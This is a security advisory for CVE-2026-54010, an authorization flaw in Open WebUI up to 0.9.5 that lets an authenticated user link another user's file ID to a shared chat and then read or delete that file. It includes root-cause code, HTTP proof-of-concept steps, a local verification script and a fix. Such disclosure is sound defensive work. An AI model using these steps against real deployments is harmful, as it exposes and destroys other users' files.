PT-2026-50482 · Pypi · Open-Webui

Publicado

2026-06-17

·

Atualizado

2026-06-17

·

CVE-2026-54010

CVSS v3.1

8.3

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Open WebUI v0.9.5 lets an authenticated user attach arbitrary file id values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, has access to file() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.

Impact

Security boundary crossed: file confidentiality and integrity.
An authenticated attacker who knows or obtains a victim file id can make Open WebUI authorize, through an attacker-owned shared chat:
  • reading the victim file via GET /api/v1/files/{id}/content, and
  • deleting the victim file via DELETE /api/v1/files/{id}.

Root Cause

Client-controlled message file IDs are persisted without file authorization checks:
python
# backend/open webui/main.py
await Chats.insert chat files(
  chat id,
  user message.get('id'),
  [
    file item.get('id')
    for file item in user message files
    if file item.get('type') == 'file'
  ],
  user.id,
)
insert chat files() stores the provided IDs directly:
python
# backend/open webui/models/chats.py
ChatFileModel(
  user id=user id,
  chat id=chat id,
  message id=message id,
  file id=file id,
)
Later, file authorization trusts shared-chat associations:
python
# backend/open webui/utils/access control/files.py
shared chat ids = await Chats.get shared chat ids by file id(file id, db=db)
if shared chat ids:
  accessible ids = await AccessGrants.get accessible resource ids(
    user id=user.id,
    resource type='shared chat',
    resource ids=shared chat ids,
    permission='read',
  )
  if accessible ids:
    return True
The download endpoint uses this helper:
python
# backend/open webui/routers/files.py
if file.user id == user.id or user.role == 'admin' or await has access to file(id, 'read', user, db=db):
  return FileResponse(file path, ...)
On affected versions this shared-chat branch is not gated on access type (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.
Because the shared-chat branch ignores access type, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim file id; a legitimate read-only share reaches it without any forgery.

PoC

  1. Attacker creates or uses a chat they own.
  2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level user message.files contains:
json
[
 {
  "type": "file",
  "id": "VICTIM FILE ID"
 }
]
  1. Backend inserts a chat file row linking the attacker chat to VICTIM FILE ID.
  2. Attacker shares the chat and grants read access to themselves or public access.
  3. Attacker requests:
text
GET /api/v1/files/VICTIM FILE ID/content
Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.
Actual: file authorization succeeds through the attacker-controlled shared-chat association.

Local Verification

I verified the bug locally with Open WebUI's real Chats.insert chat files() and real has access to file() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.
Result:
json
{
 "before chat file link attacker can read": false,
 "insert sink": {
  "db commit called": true,
  "insert returned rows": true,
  "stored chat ids": [
   "attacker-chat"
  ],
  "stored file ids": [
   "victim-file"
  ],
  "stored user ids": [
   "attacker"
  ]
 },
 "after attacker shared chat links victim file attacker can read": true,
 "confirmed": true
}
PoC:
python
#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.

This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has access to file() implementation, with fake model adapters standing in for
the DB tables.
"""

from  future  import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare imports() -> None:
  repo root = Path( file ).resolve().parents[1]
  sys.path.insert(0, str(repo root / "backend"))
  os.environ["VECTOR DB"] = "none"

  class DummyTyper:
    def command(self, *args, **kwargs):
      return lambda fn: fn

  sys.modules.setdefault(
    "typer",
    types.SimpleNamespace(
      Typer=lambda *args, **kwargs: DummyTyper(),
      Option=lambda *args, **kwargs: None,
      echo=lambda *args, **kwargs: None,
      Exit=Exception,
    ),
  )
  sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeFiles:
  async def get file by id(self, file id, db=None):
    if file id == "victim-file":
      return SimpleNamespace(
        id="victim-file",
        user id="victim",
        meta={},
      )
    return None


class FakeKnowledges:
  async def get knowledges by file id(self, file id, db=None):
    return []


class FakeGroups:
  async def get groups by member id(self, user id, db=None):
    return []


class FakeChannels:
  async def get channels by file id and user id(self, file id, user id, db=None):
    return []


class FakeModels:
  async def get models by user id(self, user id, permission="read", db=None):
    return []


class FakeChats:
  def  init (self, linked: bool):
    self.linked = linked

  async def get shared chat ids by file id(self, file id, db=None):
    if self.linked and file id == "victim-file":
      # This mirrors a chat file row tying victim-file to the attacker's
      # shared chat. The real insertion sink is Chats.insert chat files().
      return ["attacker-chat"]
    return []


class FakeAccessGrants:
  def  init (self, granted: bool):
    self.granted = granted

  async def has access(self, *args, **kwargs):
    return False

  async def get accessible resource ids(
    self,
    user id,
    resource type,
    resource ids,
    permission="read",
    user group ids=None,
    db=None,
  ):
    if (
      self.granted
      and user id == "attacker"
      and resource type == "shared chat"
      and "attacker-chat" in resource ids
      and permission == "read"
    ):
      return {"attacker-chat"}
    return set()


class FakeDb:
  def  init (self):
    self.added = []
    self.committed = False

  def add all(self, rows):
    self.added.extend(rows)

  async def commit(self):
    self.committed = True


class FakeDbContext:
  def  init (self, db):
    self.db = db

  async def  aenter (self):
    return self.db

  async def  aexit (self, exc type, exc, tb):
    return False


async def verify insert sink accepts victim file id():
  import open webui.models.chats as chats module

  fake db = FakeDb()
  chats table = chats module.Chats

  original context = chats module.get async db context
  original existing = chats table.get chat files by chat id and message id

  async def fake existing(self, chat id, message id, db=None):
    return []

  try:
    chats module.get async db context = lambda db=None: FakeDbContext(fake db)
    chats table.get chat files by chat id and message id = types.MethodType(fake existing, chats table)

    inserted = await chats table.insert chat files(
      chat id="attacker-chat",
      message id="attacker-message",
      file ids=["victim-file"],
      user id="attacker",
    )
  finally:
    chats module.get async db context = original context
    chats table.get chat files by chat id and message id = original existing

  return {
    "insert returned rows": bool(inserted),
    "db commit called": fake db.committed,
    "stored file ids": [getattr(row, "file id", None) for row in fake db.added],
    "stored chat ids": [getattr(row, "chat id", None) for row in fake db.added],
    "stored user ids": [getattr(row, "user id", None) for row in fake db.added],
  }


async def main() -> None:
  prepare imports()

  import open webui.utils.access control.files as file acl

  attacker = SimpleNamespace(id="attacker", role="user")

  original = {
    "Files": file acl.Files,
    "Knowledges": file acl.Knowledges,
    "Groups": file acl.Groups,
    "Channels": file acl.Channels,
    "Chats": file acl.Chats,
    "Models": file acl.Models,
    "AccessGrants": file acl.AccessGrants,
  }

  try:
    file acl.Files = FakeFiles()
    file acl.Knowledges = FakeKnowledges()
    file acl.Groups = FakeGroups()
    file acl.Channels = FakeChannels()
    file acl.Models = FakeModels()

    file acl.Chats = FakeChats(linked=False)
    file acl.AccessGrants = FakeAccessGrants(granted=False)
    before = await file acl.has access to file("victim-file", "read", attacker)

    file acl.Chats = FakeChats(linked=True)
    file acl.AccessGrants = FakeAccessGrants(granted=True)
    after = await file acl.has access to file("victim-file", "read", attacker)

    insert sink = await verify insert sink accepts victim file id()

    result = {
      "victim file id": "victim-file",
      "victim file owner": "victim",
      "attacker id": "attacker",
      "attacker owns file": False,
      "insert sink": insert sink,
      "before chat file link attacker can read": before,
      "after attacker shared chat links victim file attacker can read": after,
      "confirmed": (
        before is False
        and after is True
        and insert sink["insert returned rows"] is True
        and insert sink["stored file ids"] == ["victim-file"]
        and insert sink["stored user ids"] == ["attacker"]
      ),
      "sink": "Chats.insert chat files() accepts caller-supplied file ids without checking file ownership/read access",
    }
    print(json.dumps(result, indent=2, sort keys=True))
  finally:
    for name, value in original.items():
      setattr(file acl, name, value)


if  name  == " main ":
  asyncio.run(main())

Recommended Fix

Before calling Chats.insert chat files(), filter user message.files to files the caller owns or can read:
python
allowed file ids = []
for file id in requested file ids:
  file = await Files.get file by id(file id)
  if file and (file.user id == user.id or user.role == 'admin' or await has access to file(file id, 'read', user)):
    allowed file ids.append(file id)
Also consider enforcing this inside Chats.insert chat files() so future call sites cannot create unauthorized chat file associations.
Additionally, the shared-chat branch of has access to file() should honour access type, so a read grant cannot satisfy the write check used by file deletion.

Consolidation

Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:
  • Cross-user file READ via a forged chat file association (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gates Chats.insert chat files() so a caller can only link files they own or can read.
  • Cross-user file DELETION via the shared-chat branch ignoring access type (DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour access type.
Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.

Correção

Improper Access Control

IDOR

Missing Authorization

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54010
GHSA-VRHC-3FR6-PC3C

Produtos afetados

Open-Webui